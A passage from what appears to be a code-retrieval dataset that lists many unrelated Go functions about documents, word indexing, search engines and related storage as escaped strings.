mainDID\n\thexKey := \"04f3df3cea421eac2a7f5dbd8e8d505470d42150334f512bd6383c7dc91bf8fa4d5458d498b4dcd05574c902fb4c233005b3f5f3ff3904b41be186ddbda600580b\"\n\tpk1.PublicKeyHex = utils.StrToPtr(hexKey)\n\n\tdoc.PublicKeys = []did.DocPublicKey{pk1}\n\n\t// Service endpoints\n\tep1 := did.DocService{}\n\tep1ID := fmt.Sprintf(\"%v#vcr\", testDID)\n\td2, _ := didlib.Parse(ep1ID)\n\tep1.ID = *d2\n\tep1.Type = \"CredentialRepositoryService\"\n\tep1.ServiceEndpoint = \"https://repository.example.com/service/8377464\"\n\tep1.ServiceEndpointURI = utils.StrToPtr(\"https://repository.example.com/service/8377464\")\n\n\tdoc.Services = []did.DocService{ep1}\n\n\t// Authentication\n\taw1 := did.DocAuthenicationWrapper{}\n\taw1ID := fmt.Sprintf(\"%v#keys-1\", testDID)\n\td3, _ := didlib.Parse(aw1ID)\n\taw1.ID = d3\n\taw1.IDOnly = true\n\n\taw2 := did.DocAuthenicationWrapper{}\n\taw2ID := fmt.Sprintf(\"%v#keys-2\", testDID)\n\td4, _ := didlib.Parse(aw2ID)\n\taw2.ID = d4\n\taw2.IDOnly = false\n\taw2.Type = linkeddata.SuiteTypeSecp256k1Verification\n\taw2.Controller = mainDID\n\thexKey2 := \"04debef3fcbef3f5659f9169bad80044b287139a401b5da2979e50b032560ed33927eab43338e9991f31185b3152735e98e0471b76f18897d764b4e4f8a7e8f61b\"\n\taw2.PublicKeyHex = utils.StrToPtr(hexKey2)\n\n\tdoc.Authentications = []did.DocAuthenicationWrapper{aw1, aw2}\n\n\treturn doc\n}", "func NewWordInfo(idx int64, freq int64) *WordInfo {\n\treturn &WordInfo{\n\t\t//Word: word,\n\t\tIdx: idx,\n\t\tFreq: freq,\n\t}\n}", "func NewDocument() *Document {\n\treturn &Document{documents: make(map[string]flare.Document)}\n}", "func (engine *Engine) Index(docId uint64, data types.DocData,\n\tforceUpdate ...bool) {\n\n\tvar force bool\n\tif len(forceUpdate) > 0 {\n\t\tforce = forceUpdate[0]\n\t}\n\n\t// if engine.HasDoc(docId) {\n\t// \tengine.RemoveDoc(docId)\n\t// }\n\n\t// data.Tokens\n\tengine.internalIndexDoc(docId, data, force)\n\n\thash := murmur.Sum32(fmt.Sprintf(\"%d\", docId)) %\n\t\tuint32(engine.initOptions.StoreShards)\n\n\tif engine.initOptions.UseStore && docId != 0 {\n\t\tengine.storeIndexDocChans[hash] <- storeIndexDocReq{\n\t\t\tdocId: docId, data: data}\n\t}\n}", "func (db *InMemDatabase) StoreDocument(t model.Document) (model.Document, error) {\n\tdb.currentId += 1\n\tt.Id = string(db.currentId)\n\tdb.documents = append(db.documents, t)\n\treturn t, nil\n}", "func (impl *Impl) ExtractIndexableWords() []string {\n\tw := make([]string, 0, 20)\n\tw = append(w, fmt.Sprintf(\"%d\", impl.Id))\n\tw = append(w, strings.ToLower(impl.LanguageName))\n\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\n\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\n\tif len(impl.AuthorComment) >= 3 {\n\t\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\n\t}\n\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\n\t\tw = append(w, langExtras...)\n\t}\n\t// Note: we don't index external URLs.\n\treturn w\n}", "func (this *WordDictionary) AddWord(word string) {\n \n}", "func NewIndex(root string) *Index {\n\tvar x Indexer;\n\n\t// initialize Indexer\n\tx.words = make(map[string]*IndexResult);\n\n\t// collect all Spots\n\tpathutil.Walk(root, &x, nil);\n\n\t// for each word, reduce the RunLists into a LookupResult;\n\t// also collect the word with its canonical spelling in a\n\t// word list for later computation of alternative spellings\n\twords := make(map[string]*LookupResult);\n\tvar wlist RunList;\n\tfor w, h := range x.words {\n\t\tdecls := reduce(&h.Decls);\n\t\tothers := reduce(&h.Others);\n\t\twords[w] = &LookupResult{\n\t\t\tDecls: decls,\n\t\t\tOthers: others,\n\t\t};\n\t\twlist.Push(&wordPair{canonical(w), w});\n\t}\n\n\t// reduce the word list {canonical(w), w} into\n\t// a list of AltWords runs {canonical(w), {w}}\n\talist := wlist.reduce(lessWordPair, newAltWords);\n\n\t// convert alist into a map of alternative spellings\n\talts := make(map[string]*AltWords);\n\tfor i := 0; i < alist.Len(); i++ {\n\t\ta := alist.At(i).(*AltWords);\n\t\talts[a.Canon] = a;\n\t}\n\n\t// convert snippet vector into a list\n\tsnippets := make([]*Snippet, x.snippets.Len());\n\tfor i := 0; i < x.snippets.Len(); i++ {\n\t\tsnippets[i] = x.snippets.At(i).(*Snippet)\n\t}\n\n\treturn &Index{words, alts, snippets, x.nspots};\n}", "func New(col *parser.Collection) *Indexer {\n\tindex := make(map[int]map[int]float64)\n\tidfDict := make(map[int]float64)\n\tvocDict := make(map[string]int)\n\tdocDict := make(map[int]*parser.Document)\n\tdocNormDict := make(map[int]float64)\n\treturn &Indexer{col, index, vocDict, idfDict, docDict, docNormDict}\n}", "func (wt *WaterTower) AddTagToDocument(tag, uniqueKey string) error {\n\treturn nil\n}", "func (i *Index) writeSearch(tr fdb.Transaction, primaryTuple tuple.Tuple, input, oldObject *Struct) error {\n\tnewWords := searchGetInputWords(i, input)\n\ttoAddWords := map[string]bool{}\n\tskip := false\n\tif i.checkHandler != nil {\n\t\tif !i.checkHandler(input.value.Interface()) {\n\t\t\t//fmt.Println(\"skipping index\")\n\t\t\tskip = true\n\t\t}\n\t\t// old value is better to delete any way\n\t}\n\tif !skip {\n\t\tfor _, word := range newWords {\n\t\t\ttoAddWords[word] = true\n\t\t}\n\t\tfmt.Println(\"index words >>\", newWords)\n\t}\n\ttoDeleteWords := map[string]bool{}\n\tif oldObject != nil {\n\t\toldWords := searchGetInputWords(i, oldObject)\n\t\tfor _, word := range oldWords {\n\t\t\t_, ok := toAddWords[word]\n\t\t\tif ok {\n\t\t\t\tdelete(toAddWords, word)\n\t\t\t} else {\n\t\t\t\ttoDeleteWords[word] = true\n\t\t\t}\n\n\t\t}\n\t}\n\tfor word := range toAddWords {\n\t\tkey := tuple.Tuple{word}\n\t\tfullKey := append(key, primaryTuple...)\n\t\tfmt.Println(\"write search key\", fullKey, \"packed\", i.dir.Pack(fullKey))\n\t\ttr.Set(i.dir.Pack(fullKey), []byte{})\n\t}\n\tfor word := range toDeleteWords {\n\t\tkey := tuple.Tuple{word}\n\t\tfullKey := append(key, primaryTuple...)\n\t\ttr.Clear(i.dir.Pack(fullKey))\n\t}\n\treturn nil\n}", "func (d *docGenerator) generateIndexDocs(docs map[string][]handlerDoc, versions []string,\n\tdir string) error {\n\n\ttpl, err := d.parse(indexTemplate)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor version, docList := range docs {\n\t\trendered := tpl.render(map[string]interface{}{\n\t\t\t\"handlers\": docList,\n\t\t\t\"version\": version,\n\t\t\t\"versions\": versions,\n\t\t})\n\t\tif err := d.write(fmt.Sprintf(\"%sindex_v%s.html\", dir, version),\n\t\t\t[]byte(rendered), 0644); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func BuildIndex(dir string){\n\tconfig := Config()\n\tbuilder := makeIndexBuilder(config)\n\tbuilder.Build(\"/\")\n\tsort.Strings(documents)\n\tsave(documents, config)\n}", "func process(document string) {\n\tfmt.Printf(\"\\n> %v\\n\\n\", document)\n\t// the sanitized document\n\tdoc := san.GetDocument(document)\n\tif len(doc) < 1 {\n\t\treturn\n\t}\n\n\t// classification of this document\n\t//fmt.Printf(\"---> %s\\n\", doc)\n\tscores, inx, _ := clssfier.ProbScores(doc)\n\tlogScores, logInx, _ := clssfier.LogScores(doc)\n\tclass := clssfier.Classes[inx]\n\tlogClass := clssfier.Classes[logInx]\n\n\t// the rate of positive sentiment\n\tposrate := float64(count[0]) / float64(count[0]+count[1])\n\tlearned := \"\"\n\n\t// if above the threshold, then learn\n\t// this document\n\tif scores[inx] > *thresh {\n\t\tclssfier.Learn(doc, class)\n\t\tlearned = \"***\"\n\t}\n\n\t// print info\n\tprettyPrintDoc(doc)\n\tfmt.Printf(\"%7.5f %v %v\\n\", scores[inx], class, learned)\n\tfmt.Printf(\"%7.2f %v\\n\", logScores[logInx], logClass)\n\tif logClass != class {\n\t\t// incorrect classification due to underflow\n\t\tfmt.Println(\"CLASSIFICATION ERROR!\")\n\t}\n\tfmt.Printf(\"%7.5f (posrate)\\n\", posrate)\n\t//fmt.Printf(\"%5.5f (high-probability posrate)\\n\", highrate)\n}", "func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\n\n\tid := uuid.Must(uuid.NewV4()).String()\n\tjsonData := jsonDocument(vehicleid, latitude, longitude)\n\n\tctx := context.Background()\n\tdoc, err := client.Index().\n\t\tIndex(os.Getenv(\"ELASTICSEARCH_INDEX\")).\n\t\tType(os.Getenv(\"ELASTICSEARCH_TYPE\")).\n\t Id(id).\n\t BodyString(jsonData).\n\t Do(ctx)\n\tcommon.CheckError(err)\n\tlog.Printf(\"Indexed geolocation %s to index %s, type %s\\n\", doc.Id, doc.Index, doc.Type)\n\treturn nil\n}", "func (i *Index) Create() error {\n\n\tdoc := mapping{Properties: map[string]mappingProperty{}}\n\tfor _, f := range i.md.Fields {\n\t\tdoc.Properties[f.Name] = mappingProperty{}\n\t\tfs, err := fieldTypeString(f.Type)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdoc.Properties[f.Name][\"type\"] = fs\n\t}\n\n // Added for apple to apple benchmark\n doc.Properties[\"body\"][\"type\"] = \"text\"\n doc.Properties[\"body\"][\"analyzer\"] = \"my_english_analyzer\"\n doc.Properties[\"body\"][\"search_analyzer\"] = \"whitespace\"\n doc.Properties[\"body\"][\"index_options\"] = \"offsets\"\n //doc.Properties[\"body\"][\"test\"] = \"test\"\n index_map := map[string]int{\n \"number_of_shards\" : 1,\n \"number_of_replicas\" : 0,\n }\n analyzer_map := map[string]interface{}{\n \"my_english_analyzer\": map[string]interface{}{\n \"tokenizer\": \"standard\",\n \"char_filter\": []string{ \"html_strip\" } ,\n \"filter\" : []string{\"english_possessive_stemmer\", \n \"lowercase\", \"english_stop\", \n \"english_stemmer\", \n \"asciifolding\", \"icu_folding\"},\n },\n }\n filter_map := map[string]interface{}{\n \"english_stop\": map[string]interface{}{\n \"type\": \"stop\",\n \"stopwords\": \"_english_\",\n },\n \"english_possessive_stemmer\": map[string]interface{}{\n \"type\": \"stemmer\",\n \"language\": \"possessive_english\",\n },\n \"english_stemmer\" : map[string]interface{}{\n \"type\" : \"stemmer\",\n \"name\" : \"english\",\n },\n \"my_folding\": map[string]interface{}{\n \"type\": \"asciifolding\",\n \"preserve_original\": \"false\",\n },\n }\n analysis_map := map[string]interface{}{\n \"analyzer\": analyzer_map,\n \"filter\" : filter_map,\n }\n settings := map[string]interface{}{\n \"index\": index_map,\n \"analysis\": analysis_map,\n }\n\n // TODO delete?\n\t// we currently manually create the autocomplete mapping\n\t/*ac := mapping{\n\t\tProperties: map[string]mappingProperty{\n\t\t\t\"sugg\": mappingProperty{\n\t\t\t\t\"type\": \"completion\",\n\t\t\t\t\"payloads\": true,\n\t\t\t},\n\t\t},\n\t}*/\n\n\tmappings := map[string]mapping{\n\t\ti.typ: doc,\n //\t\"autocomplete\": ac,\n\t}\n\n fmt.Println(mappings)\n\n\t//_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\"mappings\": mappings}).Do()\n\t_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\"mappings\": mappings, \"settings\": settings}).Do()\n\n if err != nil {\n fmt.Println(\"Error \", err)\n\t\tfmt.Println(\"!!!!Get Error when using client to create index\")\n\t}\n\n\treturn err\n}", "func (this *Corpus) Load(fn string) {\n\tf, err := os.Open(fn)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif this.Docs == nil {\n\t\tthis.Docs = make(map[uint32][]*WordCount)\n\t}\n\tvocabMaxId := uint32(0)\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tdoc := scanner.Text()\n\t\tvals := strings.Split(doc, \" \")\n\t\tif len(vals) < 2 {\n\t\t\tlog.Warningf(\"bad document: %s\", doc)\n\t\t\tcontinue\n\t\t}\n\n\t\tdocId, err := strconv.ParseUint(vals[0], 10, 32)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tthis.DocNum += uint32(1)\n\n\t\tfor _, kv := range vals[1:] {\n\t\t\twc := strings.Split(kv, \":\")\n\t\t\tif len(wc) != 2 {\n\t\t\t\tlog.Warningf(\"bad word count: %s\", kv)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\twordId, err := strconv.ParseUint(wc[0], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tcount, err := strconv.ParseUint(wc[1], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tthis.Docs[uint32(docId)] = append(this.Docs[uint32(docId)], &WordCount{\n\t\t\t\tWordId: uint32(wordId),\n\t\t\t\tCount: uint32(count),\n\t\t\t})\n\t\t\tif uint32(wordId) > vocabMaxId {\n\t\t\t\tvocabMaxId = uint32(wordId)\n\t\t\t}\n\t\t}\n\t}\n\tthis.VocabSize = vocabMaxId + 1\n\n\tlog.Infof(\"number of documents %d\", this.DocNum)\n\tlog.Infof(\"vocabulary size %d\", this.VocabSize)\n}", "func NewDocument(chainDoc *ChainDocument) *Document {\n\tcontentGroups := make([]*ContentGroup, 0, len(chainDoc.ContentGroups))\n\tcertificates := make([]*Certificate, 0, len(chainDoc.Certificates))\n\n\tfor i, chainContentGroup := range chainDoc.ContentGroups {\n\t\tcontentGroups = append(contentGroups, NewContentGroup(chainContentGroup, i+1))\n\t}\n\n\tfor i, chainCertificate := range chainDoc.Certificates {\n\t\tcertificates = append(certificates, NewCertificate(chainCertificate, i+1))\n\t}\n\n\treturn &Document{\n\t\tHash: chainDoc.Hash,\n\t\tCreatedDate: ToTime(chainDoc.CreatedDate),\n\t\tCreator: chainDoc.Creator,\n\t\tContentGroups: contentGroups,\n\t\tCertificates: certificates,\n\t\tDType: []string{\"Document\"},\n\t}\n}", "func (g Generator) NewDocument(eventTime time.Time, d *pathway.Document) *ir.Document {\n\treturn g.documentGenerator.Document(eventTime, d)\n}", "func (g *Generator) SetNumWords(count int) {\n\tg.numwords = count\n}", "func newDocWithId(c *gin.Context) {\n\tkey := c.Params.ByName(\"id\")\n\tres := saveDocument(key, c)\n\tif res.Ok == false {\n\t\tlog.Printf(\"Error saving document: %s\", res.Error)\n\t\tc.JSON(statusErr, res)\n\t} else {\n\t\tc.JSON(statusOk, res)\n\t}\n}", "func (classifier *Classifier) Learn(docs ...Document) {\n\tlog.Infof(\"-----------------------start Learn-----------------------\")\n\tdefer func() {\n\t\tlog.Infof(\"-----------------------end Learn-----------------------\")\n\t}()\n\tclassifier.NAllDocument += len(docs)\n\n\tfor _, doc := range docs {\n\t\tclassifier.NDocumentByClass[doc.Class]++\n\n\t\ttokens := doc.Tokens\n\t\tif classifier.Model == MultinomialBoolean {\n\t\t\ttokens = classifier.removeDuplicate(doc.Tokens...)\n\t\t}\n\n\t\tfor _, token := range tokens {\n\t\t\tclassifier.NFrequencyByClass[doc.Class]++\n\n\t\t\tif _, exist := classifier.LearningResults[token]; !exist {\n\t\t\t\tclassifier.LearningResults[token] = make(map[Class]int)\n\t\t\t}\n\n\t\t\tclassifier.LearningResults[token][doc.Class]++\n\t\t}\n\t}\n\n\tfor class, nDocument := range classifier.NDocumentByClass {\n\t\tlog.Infof(\"class : [%s] nDocument : [%d] NAllDocument : [%d]\", class, nDocument, classifier.NAllDocument)\n\t\tclassifier.PriorProbabilities[class] = float64(nDocument) / float64(classifier.NAllDocument)\n\t}\n}", "func New(docs []string) *Index {\n\tm := make(map[string]map[int]bool)\n\n\tfor i := 0; i < len(docs); i++ {\n\t\twords := strings.Fields(docs[i])\n\t\tfor j := 0; j < len(words); j++ {\n\t\t\tif m[words[j]] == nil {\n\t\t\t\tm[words[j]] = make(map[int]bool)\n\t\t\t}\n\t\t\tm[words[j]][i+1] = true\n\t\t}\n\t}\n\treturn &(Index{m})\n}", "func prepareDocumentRequest(node models.Node) (elastic.BulkIndexRequest, error) {\n\treq := elastic.NewBulkIndexRequest()\n\treq.OpType(\"index\")\n\treq.Id(node.ID)\n\treq.Doc(node)\n\treq.Index(\"ire\")\n\treturn *req, nil\n}", "func GenerateWord() (string, error) {\n\taddress := fmt.Sprintf(\"%s:%v\", cfg.Conf.Word.Service.Host, cfg.Conf.Word.Service.Port)\n\tconn, err := grpc.Dial(address, grpc.WithInsecure())\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error while connecting: %v\", err)\n\t}\n\tdefer conn.Close()\n\tc := wordgen.NewWordGeneratorClient(conn)\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tresp, err := c.GenerateWord(ctx, &wordgen.GenerateWordReq{})\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error while making request: %v\", err)\n\t}\n\treturn resp.Word, nil\n}", "func NewDocument() *Element {\n\treturn &Element{\n\t\tType: DocumentType,\n\t}\n}", "func (indexer Indexer) GetDocDict() *map[int]*parser.Document {\n\treturn &indexer.docDict\n}", "func (rn *Runner) initSimDocs() {\n\tvar err error\n\tvar sdoc bson.M\n\n\tif rn.verbose {\n\t\tlog.Println(\"initSimDocs\")\n\t}\n\trand.Seed(time.Now().Unix())\n\ttotal := 512\n\tif rn.filename == \"\" {\n\t\tfor len(simDocs) < total {\n\t\t\tsimDocs = append(simDocs, util.GetDemoDoc())\n\t\t}\n\t\treturn\n\t}\n\n\tif sdoc, err = util.GetDocByTemplate(rn.filename, true); err != nil {\n\t\treturn\n\t}\n\tbytes, _ := json.Marshal(sdoc)\n\tif rn.verbose {\n\t\tlog.Println(string(bytes))\n\t}\n\tdoc := make(map[string]interface{})\n\tjson.Unmarshal(bytes, &doc)\n\n\tfor len(simDocs) < total {\n\t\tndoc := make(map[string]interface{})\n\t\tutil.RandomizeDocument(&ndoc, doc, false)\n\t\tdelete(ndoc, \"_id\")\n\t\tndoc[\"_search\"] = strconv.FormatInt(rand.Int63(), 16)\n\t\tsimDocs = append(simDocs, ndoc)\n\t}\n}", "func (o BucketWebsiteOutput) IndexDocument() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BucketWebsite) *string { return v.IndexDocument }).(pulumi.StringPtrOutput)\n}", "func (s Service) CreateDocument(ctx context.Context, req documents.UpdatePayload) (documents.Model, error) {\n\treturn s.pendingDocSrv.Create(ctx, req)\n}", "func NewInvertedIndexBySego(docs []Documenter, segmenter *sego.Segmenter, stopword *sego.StopWords) InvertedIndex {\n\tinvertedIndex := make(map[string][]*Node)\n\twg := &sync.WaitGroup{}\n\twg.Add(len(docs))\n\tfor _, d := range docs {\n\t\tgo func(doc Documenter) {\n\t\t\tsegments := segmenter.Segment([]byte(doc.Text()))\n\t\t\tfiltedSegments := stopword.Filter(segments, true)\n\t\t\tdoc.SetSegments(filtedSegments)\n\t\t\twg.Done()\n\t\t}(d)\n\t}\n\twg.Wait()\n\tfor _, doc := range docs {\n\t\tfor _, s := range doc.Segments() {\n\t\t\ttoken := s.Token()\n\t\t\tterm := token.Text()\n\t\t\tlist := invertedIndex[term]\n\t\t\tif list == nil {\n\t\t\t\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\n\t\t\t\tlist = []*Node{newNode}\n\t\t\t} else {\n\t\t\t\tisDupNode := false\n\t\t\t\tfor _, node := range list {\n\t\t\t\t\tif node.Id == doc.Id() {\n\t\t\t\t\t\tnode.TermFrequency += 1\n\t\t\t\t\t\tnewPosition := TermPosition{s.Start(), s.End()}\n\t\t\t\t\t\tnode.TermPositions = append(node.TermPositions, newPosition)\n\t\t\t\t\t\tisDupNode = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !isDupNode {\n\t\t\t\t\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\n\t\t\t\t\tlist = append(list, newNode)\n\t\t\t\t}\n\t\t\t}\n\t\t\tinvertedIndex[term] = list\n\t\t}\n\t}\n\treturn invertedIndex\n}", "func Constructor() WordDictionary {\n \n}", "func EncodeDocument(doc map[string]string) []byte {\n\n\tencBuf := new(bytes.Buffer)\n\tencoder := gob.NewEncoder(encBuf)\n\terr := encoder.Encode(doc)\n\tif err != nil {\n\t\tlog.Printf(\"Encoder unable to binary encode document for: %#v\\n\", doc)\n\t}\n\treturn encBuf.Bytes()\n\n}", "func writer(ch <-chan Word, index *sync.Map, wg *sync.WaitGroup) {\n\tfor {\n\t\tif word, more := <-ch; more {\n\t\t\t// fmt.Printf(\"Writing: %s\\n\", word)\n\t\t\tseen, loaded := index.LoadOrStore(word.word, []int{word.index})\n\t\t\tif loaded && !contains(seen.([]int), word.index) {\n\t\t\t\tseen = append(seen.([]int), word.index)\n\t\t\t\tindex.Store(word.word, seen)\n\t\t\t}\n\t\t} else {\n\t\t\twg.Done()\n\t\t\treturn\n\t\t}\n\t}\n}", "func (b *baseCount) process(w word) {\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tif _, ok := b.words[w]; !ok {\n\t\tb.words[w] = 0\n\t}\n\n\tb.words[w] += 1\n}", "func Generate(ddb *dynamodb.DynamoDB, verbose bool) error {\n\twords, err := giraffe.GetEnWords()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"getting wordlist\")\n\t}\n\tfor g := range giraffe.Giraffes(words) {\n\t\tfor idx := 0; idx < 10; idx++ {\n\t\t\tfor _, pattern := range patterns {\n\t\t\t\tif pattern == \"\" {\n\t\t\t\t\tpattern = \"/\"\n\t\t\t\t}\n\t\t\t\tvar key = g.Key\n\t\t\t\tvar err error\n\t\t\t\tif pattern != \"/\" {\n\t\t\t\t\tpattern = fmt.Sprintf(pattern, idx)\n\t\t\t\t\tkey, err = key.DeriveFrom(\"/\", pattern)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn errors.Wrap(err, \"deriving key\")\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\taddr, err := address.Generate(address.KindUser, key.PubKeyBytes())\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"generating address\")\n\t\t\t\t}\n\t\t\t\terr = Add(\n\t\t\t\t\tddb,\n\t\t\t\t\tBadAddress{\n\t\t\t\t\t\tAddress: addr,\n\t\t\t\t\t\tPath: pattern,\n\t\t\t\t\t\tReason: fmt.Sprintf(\n\t\t\t\t\t\t\t\"derives from 12-word phrase with identical words: %s\",\n\t\t\t\t\t\t\tg.Word,\n\t\t\t\t\t\t),\n\t\t\t\t\t},\n\t\t\t\t\tfalse,\n\t\t\t\t)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"sending to DDB\")\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (o BucketV2WebsiteOutput) IndexDocument() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BucketV2Website) *string { return v.IndexDocument }).(pulumi.StringPtrOutput)\n}", "func (m *WordModel) AddWord(word string, freqCount float32) {\n\tm.builder.Add(word)\n\tm.frequencies = append(m.frequencies, freqCount)\n}", "func indexReviews(reviews []httpResponse, filter_filename string) (map[string] map[string] []int, []string) {\n // Make the indexes\n index := make(map[string] (map[string] []int))\n // Replacer for punctuation in review body\n replacer := strings.NewReplacer(\",\", \"\", \";\", \"\", \".\", \"\", \"!\", \"\")\n // Get the words to filter\n filtered_words := getFilteredWords(filter_filename)\n for _, review := range reviews {\n fmt.Println(\"indexing\")\n fmt.Println(review.url)\n // Copy over title\n curr_title := review.title\n // Format text\n curr_text := strings.ToLower(review.text)\n curr_text = replacer.Replace(curr_text)\n // Filter words out\n filterWords(&curr_text, filtered_words)\n // Format resulting text into slice\n formatted_text := strings.Fields(curr_text)\n // Loop through each word in text and input into index\n for i, word := range formatted_text {\n // Check to see if word is alredy in index\n _, in_index := index[word]\n\n // if word not in index then add it\n if !in_index {\n index[word] = make(map[string] []int)\n }\n // Append current index in review for the given word\n index[word][curr_title] = append(index[word][curr_title], i)\n }\n fmt.Println(\"Finished.\")\n }\n return index, filtered_words\n}", "func (d Document) getDocument(fp []string, create bool) (Document, error) {\n\tif len(fp) == 0 {\n\t\treturn d, nil\n\t}\n\tx, err := d.GetField(fp[0])\n\tif err != nil {\n\t\tif create && gcerrors.Code(err) == gcerrors.NotFound {\n\t\t\t// TODO(jba): create the right type for the struct field.\n\t\t\tx = map[string]interface{}{}\n\t\t\tif err := d.SetField(fp[0], x); err != nil {\n\t\t\t\treturn Document{}, err\n\t\t\t}\n\t\t} else {\n\t\t\treturn Document{}, err\n\t\t}\n\t}\n\td2, err := NewDocument(x)\n\tif err != nil {\n\t\treturn Document{}, err\n\t}\n\treturn d2.getDocument(fp[1:], create)\n}", "func writeDocumentInfoDict(ctx *PDFContext) error {\n\n\t// => 14.3.3 Document Information Dictionary\n\n\t// Optional:\n\t// Title -\n\t// Author -\n\t// Subject -\n\t// Keywords -\n\t// Creator -\n\t// Producer\t\t modified by pdfcpu\n\t// CreationDate\t modified by pdfcpu\n\t// ModDate\t\t modified by pdfcpu\n\t// Trapped -\n\n\tlog.Debug.Printf(\"*** writeDocumentInfoDict begin: offset=%d ***\\n\", ctx.Write.Offset)\n\n\t// Document info object is optional.\n\tif ctx.Info == nil {\n\t\tlog.Debug.Printf(\"writeDocumentInfoObject end: No info object present, offset=%d\\n\", ctx.Write.Offset)\n\t\t// Note: We could generate an info object from scratch in this scenario.\n\t\treturn nil\n\t}\n\n\tlog.Debug.Printf(\"writeDocumentInfoObject: %s\\n\", *ctx.Info)\n\n\tobj := *ctx.Info\n\n\tdict, err := ctx.DereferenceDict(obj)\n\tif err != nil || dict == nil {\n\t\treturn err\n\t}\n\n\t// TODO Refactor - for stats only.\n\terr = writeInfoDict(ctx, dict)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// These are the modifications for the info dict of this PDF file:\n\n\tdateStringLiteral := DateStringLiteral(time.Now())\n\n\tdict.Update(\"CreationDate\", dateStringLiteral)\n\tdict.Update(\"ModDate\", dateStringLiteral)\n\tdict.Update(\"Producer\", PDFStringLiteral(PDFCPULongVersion))\n\n\t_, _, err = writeDeepObject(ctx, obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Debug.Printf(\"*** writeDocumentInfoDict end: offset=%d ***\\n\", ctx.Write.Offset)\n\n\treturn nil\n}", "func (x *Indexer) Add(doc *Doc) error {\n\tdid, err := x.doc2Id(doc)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdoc.Path = \"\"\n\tx.shatter <- &shatterReq{docid: did, offset: doc.Start, d: doc.Dat}\n\treturn nil\n}", "func BuildDoc(opts ...DocOption) *Doc {\n\tdoc := &Doc{}\n\tdoc.Context = []string{Context}\n\n\tfor _, opt := range opts {\n\t\topt(doc)\n\t}\n\n\treturn doc\n}", "func NewDocumentUpdate(ctx *middleware.Context, handler DocumentUpdateHandler) *DocumentUpdate {\n\treturn &DocumentUpdate{Context: ctx, Handler: handler}\n}", "func NewWordCounter() *wordCounter {\n\treturn &wordCounter{\n\t\tcount: 0,\n\t\twordMap: make(map[string]int),\n\t\tmostFrequent: []string{},\n\t\tlock: &sync.RWMutex{},\n\t}\n}", "func (wt *WaterTower) PostDocument(uniqueKey string, document *Document) (uint32, error) {\n\tretryCount := 50\n\tvar lastError error\n\tvar docID uint32\n\tnewTags, newDocTokens, wordCount, titleWordCount, err := wt.analyzeDocument(\"new\", document)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tfor i := 0; i < retryCount; i++ {\n\t\tdocID, lastError = wt.postDocumentKey(uniqueKey)\n\t\tif lastError == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tif lastError != nil {\n\t\treturn 0, fmt.Errorf(\"fail to register document's unique key: %w\", lastError)\n\t}\n\tfor i := 0; i < retryCount; i++ {\n\t\toldDoc, err := wt.postDocument(docID, uniqueKey, wordCount, titleWordCount, document)\n\t\tif err != nil {\n\t\t\tlastError = err\n\t\t\tcontinue\n\t\t}\n\t\toldTags, oldDocTokens, _, _, err := wt.analyzeDocument(\"old\", oldDoc)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\terr = wt.updateTagsAndTokens(docID, oldTags, newTags, oldDocTokens, newDocTokens)\n\t\tif err != nil {\n\t\t\tlastError = err\n\t\t\tcontinue\n\t\t}\n\t\treturn docID, nil\n\t}\n\treturn 0, fmt.Errorf(\"fail to register document: %w\", lastError)\n}", "func (t *simpleTest) createImportDocument() ([]byte, []UserDocument) {\n\tbuf := &bytes.Buffer{}\n\tdocs := make([]UserDocument, 0, 10000)\n\tfmt.Fprintf(buf, `[ \"_key\", \"value\", \"name\", \"odd\" ]`)\n\tfmt.Fprintln(buf)\n\tfor i := 0; i < 10000; i++ {\n\t\tkey := fmt.Sprintf(\"docimp%05d\", i)\n\t\tuserDoc := UserDocument{\n\t\t\tKey: key,\n\t\t\tValue: i,\n\t\t\tName: fmt.Sprintf(\"Imported %d\", i),\n\t\t\tOdd: i%2 == 0,\n\t\t}\n\t\tdocs = append(docs, userDoc)\n\t\tfmt.Fprintf(buf, `[ \"%s\", %d, \"%s\", %v ]`, userDoc.Key, userDoc.Value, userDoc.Name, 